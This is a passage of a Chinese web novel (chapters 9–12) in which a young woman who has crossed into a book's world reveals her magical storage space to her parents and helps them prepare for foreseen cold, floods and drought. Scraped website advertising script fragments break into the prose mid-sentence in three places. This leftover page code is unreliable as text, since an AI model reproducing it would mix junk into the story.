许岁安莫名觉得好像有哪里不太对劲,徐明珠,天灾,女尊社会,男生子,有种熟悉的感觉。 徐明珠...... 徐明珠的夫郎我记得是叫徐忠,她的孩子,她的孩子今年三岁,叫聪聪。 徐明珠老在自己面前念什么把肉带回去给聪聪吃,今天聪聪又有肉吃了,她的孩子应该是叫徐聪。 村长的名字叫徐...徐晴,真的感觉好熟悉啊。许岁安疑惑了,她好像在哪里见过这些,不是指梦里那回。 许岁安冥思苦想了很久,愣是没有想起来。 ......算了,之后慢慢想吧,反正未来的事她都已经大概知道了,这个东西想不起来应该也不影响。 许岁安在床上闭目了好久,没睡着,她还在想那种熟悉感是什么,加上有点头痛,迟迟睡不过去。 吃片止痛药算了,许岁安认为现在休息好才是最重要的,先把伤养好再说。 眼看着睡意越来越重,在即将彻底进入梦乡的时候,许岁安忽然惊起,她想起来了!!! 这不是她在现代看过的小说吗。 女主徐明珠,作为小溪村村长的女儿,一直被娇养养大,她有一个童养夫叫徐忠,二人十八岁成亲生下女儿徐聪。 上一世天灾来临,徐明珠前期懵懂迟钝做错了许多选择,也害的她的家人尽数死在她眼前。 重来一世,徐明珠获得空间,把上一世发生的事情全部告诉给家人。一家人携手同心,齐心协力渡过一个又一个天灾,最后终于在新的宜居城市安顿下来。 不过那本小说作者在文章最后写了这样一段话: 徐明珠以为重来一世,她终于带着家人过上了安稳平和的生活。但她不知道的是,在远方,一场新的,会给整个城市带来巨大创伤的灾难正在不断酝酿...... 许岁安服气了,说看小说看到小说里有同名人物会穿书,她以为是怪谈,结果这真穿啊! 行吧,那就跟着小说女主的步调走呗,她说去哪儿就去哪儿,女主肯定是可以活到最后的。 反正女主不可能只带她一家走,她必定会带上整个村子的人,只有这样,她才能抵御逃亡路上的其他难民。要是只有女主一家,那绝对会被抢。 小说里也写了,重生后,女主她们家出于多方考虑,会隐晦提醒村民要囤货。她们希望有更多的村民活下来,这样在一起逃亡的路上才会更安全,人多力量大。 许岁安想到这里,下意识的放心了一点,因为知道是穿书,她先入为主的认为现在的徐明珠就是那个小说女主。 嘿嘿,许岁安笑了,有了女主的提醒,到时候她们家的囤货就不那么显眼了。大家都囤货,也会更安全一点,不然村民内部之间还会发生矛盾。 笑着笑着,许岁安突然眉头一皱,不对,她是穿进书里了,但她穿的到底是不是女主重生的那一世呢?毕竟都是同一个世界...... 9. 第 9 章 许岁安仔细回想了原著小说的内容,小说里写极寒降临的那一年是永安九年冬,女主重生是在永安九年夏。 嗯——,今年是多少年来着? 刚刚接收的过多记忆让许岁安脑袋有些昏沉混乱,她静下心来,慢慢梳理记忆。 现在是永安八年夏,许岁安确定了。 距离小说里女主重生还有一年,那只能等明年看女主表现了,许岁安由衷希望是那个重生的女主回来了。 “喔喔喔——” 伴随着此起彼伏的鸡鸣声,小溪村村民开始了一天的劳作。 许岁安昨晚想事情睡得晚,今早上隐隐约约听见了鸡鸣声也没醒过来。 此时外面的天蒙蒙亮,周林已经起床做好了早饭,他烙了几个青菜饼,又往水袋里灌满了热水。最后他把煮好的鸡蛋、青菜饼、水袋打包好,放进一旁的背篓里。 “妻主,你记得你答应过我的,这次去山上,只看陷阱,不打猎。” 许春花背着背篓出发前,周林看她的样子,又忍不住再提醒了一次。 “放心,我心里有数,不会往深山里转。”许春花说着,轻轻拍了一下周林的脑袋。 “回去吧,家里你照看好,女儿也多看着点。这段时间的伙食弄好一点,毕竟安安还养着伤呢。” “我天黑前就回来了,别在家里瞎想。” 说着,许春花就准备走了,周林心里害怕,拉住了许春花,“妻主,家里就你们两个女人,如今安安出了事,你可不能再......” 后面的话不吉利,周林不好说出口,但许春花明白他的意思。 “你放心好了,我打了这么多年猎,熟的很,不会出事,安安那也是小伤,最多半个月就可以全好了。” “一天天的,不要瞎想,有那闲心,不如多缝两个帕子。等安安好了,我带着你们父女两去镇上逛逛,你也该买件新衣服了。” 周林闻言略微有些羞涩,“哪里用的着买新衣服了,年前不是才买了一件,倒是妻主和安安该再买一件了,过年的时候就只给我买了。” 许春花想了想,倒也没直接拒绝,“看情况吧,要是这段时间收获好,就给我们三各买一件。” “行了,我走了,你看着点安安,大夫说她这前七天最好不要受风,不然以后会经常头痛。” 周林点头,“好,我会的,妻主注意安全。” 许春花笑了笑,应了一声,转身快步向山上走去。 周林回厨房看了看正熬着的中药,端起早饭,朝许岁安房间走去。 “安安,醒了没?爹进来了。” 许岁安迷迷糊糊的看着人推门进来,看着人点亮油灯。 “爹?” “嗯,起来吃早饭吧,吃完饭过会儿把药喝了就可以继续睡了。” 许岁安困归困,倒是听话的坐起来把饭吃了。 等许岁安喝完药,周林看着许岁安的脸色,倒是比昨天好一点了。 “大夫说,你这段时间不能出门,不能受风。所以安安你要是有什么事,就大声喊爹,爹就在院子里,你一喊就能听见。”周林不放心的又嘱托了一遍。 许岁安乖乖答应,“我知道了,爹。” 周林吹灭油灯出门后,许岁安就着睡意,睡了一个回笼觉。 许岁安再次醒来,是被周林喊起来吃午饭的时候,她看着中午的伙食,觉得还挺不错的。 “爹,今天吃这么好啊。”许岁安顺口说了句。 周林笑了笑,“这不是你受伤了嘛,我和你娘想着给你补补。” 许岁安有点不好意思了,“那锅里还有吗?晚上等娘回来,也让她吃吃。” "放心好了,你娘那份我给她留着呢。" 吃完午饭,许岁安闲的没事做,就把之前囤在空间的小说拿出一本翻看。 此时,她已经开始后悔,没把当初看的徐明珠那本小说买一本放着,就算没有实体书,打印一本也行啊,好歹也是一个参考。 看着看着,光线越来越昏暗,外面已近黄昏时分。 许岁安把书收回空间,默默等着一会儿的晚饭。 “妻主,回来啦,今天收获怎么样?”周林一看见许春花就连忙迎上去,帮着接东西。 许春花把背篓放下,脸上带着笑意。“还成,抓了两只兔子,摘了点野果。” “一会儿你把这野杏儿洗了吧,兔子明天也杀一只吃。” “好。”周林答应,“妻主你先去洗把脸,我去把晚饭端出来。” “安安吃了吗?”许春花问。 “没呢,我等会儿给她端进去。”周林边往厨房走边说。 许春花洗完脸,吃完饭,去看了眼养着的几只兔子,满意点头,不错,再等段时间,就把这些兔子都卖了。 晚间,许岁安躺在黑漆漆的房间里,感觉很是无聊。 “安安,娘进来了。” 许春花拿着油灯和药酒,笑眯眯的走了进来。 “消化的差不多了吧,娘该给你抹药酒了。” “有点痛,你忍着点。” 许岁安听完心里就是一跳,她有种不好的预感。 果然,这种预感很快就实现了。 “嗷嗷嗷——” “娘,娘你轻点儿~~~啊——”许岁安痛的惨叫。 许春花用药酒大力揉着许岁安的脚踝,“轻不了,这事儿娘有经验,你这个要揉开了才好得快。” “忍着点儿,大女人哭哭啼啼的成什么样子。” 许岁安欲哭无泪,“娘,不然不揉了吧,等它慢慢好。” 许春花闻言冷酷的回绝了她,“不行,不用药酒你这扭伤不知道什么时候才好,用药酒也就几天的事,忍着。” 说完,许春花揉脚踝的力气更大了。 ...... 就这么过了二十来天,许岁安身上的伤也好得差不多了。 不过为了保险起见,许母许父在前七天过了后仍不许许岁安出门。她们想着最近也没什么事,干脆让许岁安在屋里多呆段时间,多养养身体。 直到今天,许岁安又一次开口,“爹,我还不能出门吗?每天都在屋子里,好无聊啊。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 周林和许春花商量了一下,“行,这两天你就在家里帮我忙吧。” 许岁安顿时就高兴了,她终于,终于可以出屋子啦! 一出屋门,许岁安就感概,外面的空气真是好清新哦,纯绿色无污染,她深深地吸了一大口新鲜空气,是自由的味道。 说是帮忙,其实周林已经把该收拾的都收拾了。 许岁安无事可做,就转悠着认识这个陌生又熟悉的家。 家里的院子里有一口井,是许岁安第一件惊喜的事。 第二件惊喜的事则是许岁安在家里的仓库发现了多张炮制好的兔皮,甚至还有一张炮制好的熊皮! “爹,家里怎么有这么多兔皮啊?”许岁安好奇。 周林绣帕子的动作没停,“那是这两年我们自己家吃了的兔子留下的皮,之前你娘去镇上,听说冬天的时候,一张炮制好的兔子皮都比一只死掉的兔子贵了。” “我们想着多攒攒,看今年冬天兔子皮能卖出什么价,要是价高就都卖出去,不行就自家留着用。” “你和你娘冬天也该有个厚实点的衣服了,不行就把兔子皮给你们做成衣服穿。” 许岁安一听这话就乐了,“行啊,我也想穿毛毛衣服了。” 周林闻言,手上的动作停了一下,“你想穿这个?等你娘回来我和她说说。” “好啊,谢谢爹爹。”许岁安自然应下。 听着那声“爹爹”,周林眉头一挑,笑道:“你倒是许久没这么叫我了,看来还真的挺想要兔子衣服的。” 许岁安嘿嘿一笑,“爹就在娘面前多说几句好话嘛,我想要这兔子衣服我们三一人一件。” 周林想了想,还是拒绝了,“那衣服你们俩有就行,你们要上山。我就算了,这儿的冬天倒没那么冷,我穿棉花衣服就行了。” 许岁安闻言没有多劝,距离冬天还有几个月呢,她看着仓库里的兔子皮毛不算少,应该够做三个人的衣服。 “好了,我去做饭,安安你帮我去喂喂围栏里的鸡和兔子吧。” 许岁安应答一声,乖乖去喂鸡和兔子了,看着眼前的小动物,许岁安犹豫了。 她知道眼前的这些兔子过两天都要拿去镇上卖了,让许岁安犹豫的是,她要不要把这些兔子留下来。不管是兔子肉还是兔子皮毛,对于应付明年的天灾来讲都是好东西。 许岁安发着呆,如果要把兔子留下来,她用什么理由呢?要现在就坦白空间吗? 但是如果真的把兔子都留下来了,不知道会不会被有心人发现异常。 留一半卖一半是最好的,但和之前一样,用什么理由呢? 兔子繁殖速度很快,一般农家会只留种兔,把其他兔子全卖出去换取银钱。毕竟已经成熟的兔子再养也就那么大了,养了都是浪费,卖出去或者吃了才是最好的。 许岁安家一直以来都是这么做的,卖兔子也是她们家稳定的收入之一。 想来想去,许岁安最终下定决心,她要坦白空间! 反正空间的事早晚都要坦白的,越早坦白,她们可以提前做的准备就越多。 10. 第 10 章 既然决定要坦白空间,那么就得想好一个合适的说辞。 许岁安在自己是神仙下凡渡劫还是神仙不忍,特赐重生机缘这两种说法里犹豫了好久,主要是两种说法各有各的优势。 神仙下凡渡劫的说法可以让许母许父后面更敬重她,对于她的话也会更加相信并执行,不过可能会造成她和许母许父产生一定的距离感。 ......想来想去,许岁安还是觉得神仙赐福的说法好一点。这样许母许父虽然可能还是会下意识的把她当小孩,不过集思广益,或许许母许父也会有自己独特的生存智慧。 “安安,想什么呢?过来吃饭了。”周林之前已经在屋里喊过许岁安两遍了,见人没反应又专门出来喊。 许岁安抬头起身,“哦哦,爹,我这就来。” 饭桌上,许岁安吃的有点心不在焉。虽然已经决定好了要坦白空间,可临到开口,她还是有点紧张,心脏怦怦急跳。 “安安,你怎么光吃饭不夹菜啊?”许春花打趣,“怎么,这段时间吃的太好了,想吃顿差的?” 许岁安回过神来,看了一眼她娘她爹,语气迟疑,“娘,爹,你们吃好了吗?我有事要说。” 许春花不以为意,也没多想,一个小崽子能有什么大事,她随口道:“你说呗,我和你爹都听着呢。” 许岁安看着她娘许春花不在意的样子,又看她爹依旧在那好好吃饭,还招呼她,“安安,夹点菜吧,边吃边说,我们都听着呢。” 夏天里吃饭的堂屋通常是不关门的,方便通风散热。 许岁安没说话,她故意严肃着脸,把手里的碗重重一放,没等她娘发脾气,又默默起身,把窗户和门全部关严。 这一番操作下来,倒是让许母许父愣住了。 “我没和你们开玩笑,这件事非常非常重要。”许岁安满脸严肃的看着许春花和周林。 二人这下倒是认真了,许春花冷着脸,“行,你说吧,今天你要是不说出个一二三四,看我怎么收拾你。” 许岁安摇摇头,“你们先吃饭吧,不差这两分钟,我怕等会儿我说了,你们就吃不下饭了。” 闻言,许春花和周林对视一眼。 “妻主,这......”周林有些疑惑。 许春花看了眼许岁安,转头对周林说:“先吃饭,等会儿听这小崽子要说什么。” 没两分钟,许春花把碗一放,看着周林也吃好了,这才转头看向一直端坐着的许岁安。 “说吧。”许春花冷声开口,她倒要看看这小崽子还有什么是她不知道的事,别是在外面闯了什么大祸。 “娘...”许岁安看着她娘,语气十分沉重的开口。 “爹...”许岁安又转头看向她爹,眼里似乎有千言万语。 “女儿已经死过一回了。”许岁安一来就扔下了重磅炸弹。 许春花被气笑了,“死过一回,那你现在是什么?” “娘,我在说正事呢,不要打岔!”许岁安表现得十分激动,“更不许开玩笑!” “唉......”她叹了一口气,“我就知道你们不相信。” “看着。”许岁安把她还剩半碗米饭的碗端起来,收进空间。 “......” “...这是什么?戏法?”许春花曾在镇上听说过有人会那种把东西变没又变出来的戏法,只是从来没亲眼看过。 许岁安摇摇头,看着许春花,“娘,是真的。” “我说我死了一回,也是真的。” 许春花闻言,眉头紧皱,她将信将疑,起身将许岁安拉起来,连拍带摸,从上到下,确认许岁安好好的,没缺胳膊少腿。 “你说你死了一回是怎么回事?”许春花不解,周林也跟着过来,摸了摸许岁安的手和脸,都是热乎的。 “娘,你相信世上有轮回转世吗?” 许岁安不等许春花回答,接着说:“我遇到了,在我死后,我不知怎么,又回到了我还活着的时候。” “我还记得我死在了永安十五年,可一睁眼,我就回到了永安八年,就是现在。” 想着记忆里那悲惨的未来,许岁安痛苦的流着眼泪,泪眼婆娑的看着许母许父,“娘,爹,你们相信我吗?” 看着许岁安哭泣的样子,许春花也哭了,她带着被事情惊呆在一旁的周林一起抱住了许岁安。 “我信,我们信,我了解我的女儿,她不会拿这种事来骗我们。”许春花语气坚定又悲痛。 “安安啊,你怎么会死的那么早呢?”许春花叹息。 “你今年才十七岁,永安十五年,也就是才过去七年,那会儿你才二十四岁啊!” “才二十四岁啊!”许春花重复道,她根本不能想象现在这样年轻鲜活的女儿,在短短七年后就离世。 许岁安回抱住许母许父,“娘,爹,但是我现在还活着,我们可以一起努力去改变这个未来。” 许岁安带着许母许父在板凳上坐下,自己又搬过来一个板凳坐在她们对面。 “娘,爹,那是一场巨大的灾祸,不光我死了,你们也死了,村里的很多人都死了。” 许春花闻言,震惊的看着许岁安,灾祸,她恍惚间想起来了很多年前的事。 那时她和周林还不在小溪村,她们在曾经的故乡大友村。 开始时一切都很好,她家和周林家都是土地足够的,两家也早早定下婚约,就等着两孩子长大了,这婚事就成了。 可在她七岁时,天上一连两年都不下雨,地里的庄稼早就渴死了,土都变的又干又脆,就连村里专门打的井里也提不上来水了。 为了活下去,整个村子的人一起往东迁移,去寻找那听说会有水的地方。 即使她那时年纪尚小,当时发生的惨烈场景至今仍记得清清楚楚。 她记得有很多人渴死在路上,死后身体被一拥而抢,她记得那时有太多太多令人恐惧的现象,交换孩子的也不少见。 她和周林运气很好,母父都是爱她们的,一路护着她们活下来,活到了有一点水的地方。 可惜大人们的运气似乎就不太好了,明明到快要到新的可以好好活着的地方了,她们却坚持不住了,她们倒下了。 没办法,许春花和周林两个半大的孩子只能小心翼翼的,拼尽全力的,努力在山里走,尽量避开陌生人。 也幸好这时的环境已经好了不少,天上也偶尔会下下雨。 她和周林就一路吃些野果子、野菜,运气好可以抓到点小动物吃。 她们就这么跌跌撞撞的,茫然孤勇的,不知道走了多久、多远,才到达了小溪村,在这里定 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 居下来,结束了这么久以来颠沛流离的生活。 后来她和周林又一起努力了很久,慢慢攒钱,买到了人生中的第一亩地,接着又有第二亩地、第三亩地。 再后来,她觉得她的生活好过一点后,迎来了她的女儿。 如今才安稳多少年啊...... ****** “是...什么样的灾祸?”许春花语气颤抖,“我和你爹也都死了吗?我们家竟然一个人都没有活下来吗?” 许岁安沉重点头,回答道:“都死了。” “大降温发生在明年十月,但我觉得今年已经开始有征兆了。” “娘,你没发现今年的夏天比以往要凉快许多吗?” 许春花垂眸,她当然有感觉到这一点,只是想着凉快些也好,舒服一点。谁会把这点凉快往坏处想呢,最多也就只会认为可能今年的冬天会冷一点罢了。 “好,大降温,特别冷对吗?”许春花冷静开口,“我记得仓库里还有些兔子皮,我去镇上买些布料,让你爹把那些兔子皮全缝上去。” “嗯,后面还有洪涝,基本上把村子淹了一半多了,我们到时得去山上躲躲。”许岁安接着说。 “再后面,太阳一直很大,也不下雨,村子里的井都没水了。” “之后我就不知道了。”许岁安声音低低的,但屋子安静,她说的话在场的人都听的清清楚楚。 也许是同样想起了曾经的经历,周林惶然的握紧许春花的手,“妻主......” 许春花轻轻拍了拍周林的手,“别怕,林林,既然这次我们都知道了以后,我一定会带着安安和你活下去的。” “娘,还有这个,你忘了吗?”许岁安将刚刚放进空间的那碗饭又拿了出来。 许春花看着那碗饭,小心翼翼的将它接过来,仔细打量,“这又是什么?” 许岁安笑了笑,“死后,我恍恍惚惚听见有个人说她见我可怜,正巧又遇上了,于是就送了一个空间给我,嘱咐我不能随意将空间泄露。” “否则,一旦知道人数过多,引起动乱,她就会收回空间,我也会再次死去。” 许春花闻言,不可置信的打量着女儿的脸,没想到她会有这样的好运气。 “你这是碰上了善良的神仙啊。安安,你知道这位神仙的名号吗?我们该给她立个牌,日日供奉着,她是我们家的大恩人啊。” 许岁安低下头,继续编,“不知道,神仙说她不需要这些,让我回到过去也是随意之举,她让我不要放在心上。” 说完,许岁安不等许春花说话,急忙开口,她想换个话题了,“娘,你看这是什么?” 许春花果然被转移了注意力,她拿起许岁安掌心的杏儿,“这杏儿是什么时候的?” 许春花冥思苦想,她记起她之前摘过几回杏儿,最早那回就是安安刚受伤的时候。 “娘,这是我刚受伤的第二天,你摘回来的,我放了一个在空间。” 许岁安得意,“你看,是不是一点儿都没变。” 许春花看着杏儿的外观赞同点头。随即,她拿起杏儿咬了一口,想看看杏儿里面是不是也没变。 嗯,很新鲜,就是刚摘下来的口感,好奇妙啊。 许春花不由感概道:“真是神仙手段......” 11. 第 11 章 “林林,你也尝尝,这杏儿的口感真的和我那天刚摘下来带回家时的口感一样。”许春花把手里的杏儿举到周林嘴边。 周林闻言,好奇又困惑的咬了一口嘴边的杏儿,“真的一样,太神奇了,妻主。” 许春花见此,心里不由好受许多,她有点小开心。既然这空间可以保鲜,那么她们就可以提前将食物做好放进空间,这样逃难路上也不至于太难熬。 “安安,你这空间有多大啊?有咱们家这么大吗?” 许岁安想了想,“我看着比咱们家大,具体多大我也说不清,但少说这大小也有几十个咱们家大小的样子了。” 许春花一听许岁安这话,顿时就高兴起来了。 “真的?那太好了,这样一来,我觉得未来至少咱们家不用为吃喝发愁了。” “这两年我们娘俩就多去山上打猎砍柴,把未来几年十几年的口粮尽快给攒出来。” 一旁的周林听见空间很大的消息也很激动,他急忙开口,“太好了,太好了,妻主、安安,你们去山上的时候看看有没有竹子,砍些竹子回来,我多装点水。” 因为以前的经历,周林他是真的渴怕了,正好家里有井,这回他一定要多装些水,即使以后天再热,她们家也可以有水喝。 许岁安见母父应对天灾这么积极,心里也是松了口气,她高兴的说:“不用担心粮食的事,爹,娘,神仙给我的空间里面装了好多好东西嘞。” “里面有好多吃的喝的,够我们三放开吃两辈子了。” “还有好多木柴、棉被、布料、衣服,够我们度过那个漫长的寒冬了。” 说着,许岁安从空间里拿出一床大棉被,“娘、爹,你们看。” 许春花和周林看着那么蓬松洁白的大棉被,都不敢相信自己的眼睛,她们恍惚的摸了摸棉被,又用力按压了一下,棉被很快回弹。 “这棉被真好,看着就暖和。”许春花抱着棉被笑开了花。 许岁安看着二人高兴的样子,决定再给她们一个惊喜,“娘,这棉被空间里还有好多床呢,到了冬天我们都可以一人盖两床。” “还有这个,娘,你摸摸看。”许岁安把貂皮大衣拿了出来。 当貂皮大衣出来的那一刻,许春花和周林直接看直了眼,她们以前哪里见过这种好东西。 许岁安把棉被收回空间,任由二人把貂皮大衣翻来复去的看着、摸着。 “要不要穿上试试。”许岁安提议。 “对对对,是得穿穿看。”许春花连忙应和,她站起来,把貂皮大衣往身上套。 一上身,许春花都觉得自己高贵了,这么好的衣服,她这种平民百姓以前哪里穿的上哦,都是那些达官显贵才能穿的。 穿了一会儿,许春花热的脑门上都是汗,她恋恋不舍的把大衣脱下,“林林,你也试试,这可真是好东西。” 周林接过貂皮大衣,满心欢喜的穿上了,他在屋里来回走了几步,“好看吗?妻主。” 许春花满脸笑意,真心夸赞,“好看好看,就跟大家公子一样。安安要不要也来试试?” 许岁安摇了摇头,“我就不试了,看你和爹都热出一脑门汗了。” 周林闻言,不好意思的低头笑了笑,他把貂皮大衣脱下来递给许岁安,“安安,这大衣有几件啊?” 许岁安把大衣收进空间后,把手举高,张开手掌,笑眯眯的说了声,“五件!” 周林闻言,和许春花对视一眼,皆是喜不自禁,五件!这真是太好了,明年的寒冬她们一定可以熬过去! 见识了这两样好东西后,许春花心里有了期待,“安安啊,那位神仙大人还在你空间放了什么好东西啊?都给娘和爹多说说吧。” 许岁安看着两人期待的样子,清了清嗓子,“好东西啊,那可太多了。” “除了日常的吃喝,里面还有很多水果、果汁,各种糖果零嘴,选择可多了。” “对了,娘、爹,你们吃不吃糖?可甜了。”许岁安从空间里拿出两根棒棒糖。 许春花和周林看着这新鲜事物,一时又好奇又感动,她们把棒棒糖拿在手里,仔细打量。 “要不,我来把棒棒糖的包装撕开吧。”许岁安说完就把棒棒糖拿回来了,把上面的塑料纸撕开后扔进空间里的大垃圾桶里。 她之前买了很多个大号的塑料桶,大号的塑料袋,拿出几个用来当垃圾桶,方便装一些该隐藏的垃圾。 许岁安把棒棒糖递给对面二人后,又给自己拿了一根。 “就是这样,在嘴里含着吃,嚼碎了也行,等下吃完了剩下的那根棍记得给我,我把它收进空间去。” “有的东西不能暴露出去,我们之后也会用其他东西。娘,爹,等你们见着了那新奇东西,用完之后,都得悄悄的让我收回空间里去。” 许春花和周林听见了这话,不约而同的点了点头,活了这么多年,这点道理她们还是懂的,神仙的东西本来就不该被凡人窥见的。 “我们知道的,安安,你放心,我和你爹一定会守好这个秘密。你也是,这事儿不能再让其他人知道了。”许春花严肃的说,就是配上她嘴里吃着棒棒糖的样子,让人感觉有点违和。 许岁安嘴里含着棒棒糖,认真的点了点头。 “娘,我知道。” “好了,我再接着说吧。天冷的时候,空间里还有铁炉、暖宝宝、毛毯、煤炭可以用。” 许春花听见了一个很奇怪的物体名字,“暖宝宝是什么东西?” 许岁安顿了一下,拿出一片暖宝宝出来,递给许春花,“就是这个,撕开背面的贴纸,可以贴在身上,自行发热,我们冬天出门的时候可以用。” 许春花好奇的摸摸暖宝宝,凉凉的,没热啊,“你是说这个玩意儿它自己会热吗?” “嗯,不过要先撕开外面的包装。娘,要试试吗?” 许春花虽然好奇,但还是毫不犹豫的摇了摇头,“别,你不要乱来。安安,这些东西我们都不能浪费,要试也得等冬天来了再说。” 许岁安笑了笑,“好,那继续说吧。” “热的时候,里面有雪糕、冰棍,凉席,冰垫,冰袋,冰块。” “娘,我觉得这些应该够我们用了。” 许春花想着许岁安提到的这些东西,迟疑的点了点头,“应该够了吧。” 说完,三人坐在一起,沉默了很久。 “安安,你那空间,里面还有空着的地儿吗?”许春花突然平静的开口。 “有啊,空地还比较多,娘你要装什么吗?” 许春花沉默了片刻,握着周林的手,“安安,既然空间还有地方,那我们还是按最开始说的那样,努力再囤些东西吧,总不能全依赖神仙的赏赐恩惠。” “而且,什么都不准备的话,我和你爹这心里也过不去。” 许岁安能理解这种心情,她囤货的时候也是害怕自己准 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 备不充足,以后会有不便。 “嗯,我们继续准备吧。” “不过,娘、爹,既然空间里有这么多东西,那么我们就不必把自己逼得太狠,我们还是可以按以往的生活方式来。” 许岁安之所以这么说,也是考虑到对于她们来讲,这即将是最后的平静生活时光,她想让她们在这最后的平静时光里活得轻松一点。 “娘,这最后的一年多不到两年的时间,是我们仅剩的可以正常生活的时间了。” 说完,许岁安停顿了两秒,“你和我爹还有什么想做但没做的事情吗?” 想做的事情啊,那可太多了,许春花想,不过最后她还是把目光看向正默默垂泪的夫郎。 “林林,过两天我们去镇上的时候,再给你买件银钗好吗?这些年来我都没送你几件好首饰。” 周林眼泪汪汪,扑进许春花怀里,“我不要那个,妻主,把钱省下来去买些有用的东西吧。” “我就是觉得,这些年来,你一直忙忙碌碌的,都没有好好休息过。前些年,我们好不容易逃难过来,这才安定多久啊,没想到又要开始逃难了。” 许春花被他说的眼中也有泪意,自我调解了一会儿,“林林,该送你一件首饰的,这些年来,你也没少操劳。” 许岁安看着对面两人伤心的样子,觉得自己应该说些什么,她干巴巴的开口,“是啊,爹,娘的一番心意你就接受了吧。” “娘,你也不容易,给爹买了礼物,也给你自己买个什么东西吧。” “空间里还有些银子金子的,我们应该不用为银钱发愁。” 许春花一听,立马扭头看着许岁安,他有些惊讶,“还有这个?有多少啊?” 许岁安拿出一个盒子,里面装了不少银条金条。 这么多钱,许春花接过盒子,和周林一起看傻了眼。 她们顿时就都不伤感了,心里还奇异的感到一种莫名的快乐。 两人这时候想的东西都一样,她们想着这钱得花到什么时候啊,她们家有了这些钱都可以直接去镇上买房子住了,也不用再靠打猎为生了。 “安安,这,神仙有没有说这些银钱我们都可以用啊?”许春花想了想,心里还是有些忐忑,她从来没见过这么多的金子银子。 许岁安没有犹豫,“都可以用,神仙说过的,空间里的东西我们全部都可以用。” 许春花的手有些颤抖,她小心又兴奋的摸着盒子里的金子银子,内心剧烈斗争,最后拿了两根银条。 “有这两根银条应该够了,我那里之前也存了些银钱铜币的。” “安安,剩下的你收回去吧,留着以后用。” 许岁安有点迟疑,她看着她娘许春花,“要不要再拿点,里面还有很多。” 许春花笑了,“傻孩子,这些就够了,以后你也不要再让其他人知道你有这么多金银,会惹来祸事的。” “我才不傻。”许岁安反驳,“财不外露的道理我知道的。” 许春花点了点头,“知道就行,收回去吧,后面如果银子不够了,娘会和你说的。” “今天就到这里吧,安安,你还有其他要说的不?没有的话,我和你爹晚上再合计合计你今天说的事情。” 许岁安摇了摇头,“我没什么要说的了。” 说完,她起身,决定把空间留给娘和爹两个人,今天说的事应该给了她们两很大的冲击,是需要好好消化消化。 12. 第 12 章 “叩叩叩——” 门外有敲门声传来,许岁安烦躁的把被子拿起来蒙住脸。 “安安,起床吃早饭了。”周林喊道。 昨晚他和妻主许春花聊了一夜,想着以后该怎么办,等外面的天都亮了,这才起床急急忙忙的去简单的做了点早饭。 “知道了——”许岁安闭着眼睛大声回应。 等周林把早饭摆好,又和许春花聊了两句,许岁安刚好洗完脸过来。 “来了,先吃饭吧。”许春花招呼道,“等吃完饭,我们再聊聊昨天你说的那件事。” 许岁安点点头,她看着桌上的白面饼子、炒青菜、水煮蛋,以及自己面前的一碗热水,想了想,从空间里拿出了三碗八宝粥,再拿出一包榨菜往三碗八宝粥里各分了点。 “再加碗粥吧。”许岁安说着,把粥分别放到两人面前。 许春花和周林看着眼前浓稠的八宝粥眼神闪了闪,心里犹豫,她们倒不是不想吃,就是现在还没到没有饭的那种程度,她们现在吃空间里的东西会不会太早了。 “安安啊,我知道你是好心,但空间里的食物要不还是等明年再吃吧。” 安静了几秒,许春花还是出口拒绝了,她其实对面前这碗粥很好奇,这是她之前从来没有吃过的,而且粥里的料很多,不知道都是些什么。 许岁安笑了笑,“放心吧,娘,我之前不是都说了空间里的吃食很多吗,就算我们三这辈子放开了吃也不怕。” 许春花听着这话,心里还是不太放心,“也行,今天你拿出来的这些我们就吃了,不过后面还是主要吃家里做的,就算空间里有很多,我们也不能直接全吃空间的。” “我们现在少吃一点空间里的,以后逃难了,就有更多吃的了,我和你爹也安心些。” 许岁安不好反驳许春花的话,她总不能把空间里的吃食全部拿出来吧,于是只好无奈的重复的一下。 “娘,我真的没有骗你,里面的吃食真的很多,我都怕我们人死了,里面的东西还剩大把大把的。” “不过我也明白你的意思,在明年寒冬到来前,我们就偶尔多加个菜改善一下伙食吧,不然这么多吃的,放着也是浪费。” 周林看着许岁安,佯装生气,“安安,不许说这种不吉利的话。” “还有,你说这些,是不是对家里的伙食不满啊,家里吃的不好?” 许岁安闻言,无助的接受两道疑问的目光,哈哈尬笑,“爹,我没那个意思,我知道我们家平时吃的已经比村里的大部分人好了。” “就是既然我们家有了奇遇,那不就可以吃的更好一点了嘛,而且吃的好身体才好啊。” 许春花听着许岁安这话,和周林对视一眼,笑了。 “好了好了,孩子也是为我们着想。”许春花打圆场,“先吃饭吧,再不吃,一会儿饭都凉了。” 许春花喝了一口八宝粥,入口软糯香甜,她感慨道:“这粥真不错,里面还有好多豆子,应该挺顶饱的,味道也好。” 周林也笑了,“是顶饱,我吃着这粥都可以少吃一张饼了。” 许岁安沉默不语,她看着两人喝粥时高兴的样子,心里也开心,觉得自己真是做对了,以后继续。 这个朝代的女人几乎都是天生神力,可以轻松举起150斤上下的东西,与之相对的她们吃饭时饭量都很大。 比如今天桌子上的白面饼子,一张就有两个巴掌那么大,正常情况下,许春花要吃六七张才能饱。 所以食物,对于每个家庭来说,都是很大的问题,女人越多,要消耗的食物就越多。 也幸好许春花在打猎上有些天赋,小溪村的靠打猎为生的还有四户人家,就许春花可以顿顿吃饱。 当然,这也和她家里只有两个女人有关系,她家食物消耗相对于其他家算少的。 就算许春花和其他猎户打猎打的一样多,分到家里的人头上,许春花家的每个人分到的食物就多了,这也算是她们家人少的好处。 等周林收拾完厨房过来,许岁安看着人齐了,拿出牙刷和牙膏放在桌子上。 “爹,娘,这是刷牙用的,效果比我们现在用的牙粉效果好,我们以后就用这个东西刷牙吧,早晚各刷一次。” 许春花和周林看着这个新奇事物,没有多想,马上就答应了,神仙给的东西肯定是好东西。 不过,许春花看着许岁安现在从空间里拿东西一点儿也不遮掩的样子,有点担心了。 “安安,不是娘说你,你现在拿东西出来的样子也太不遮掩了,被人看见怎么办。” 许岁安朝许春花一笑,“娘,我心里有数的,这不是在家里嘛。” “咱们家院子的围墙比其他家高出一大截,把大门一关,谁还能知道院子里面的情况。” 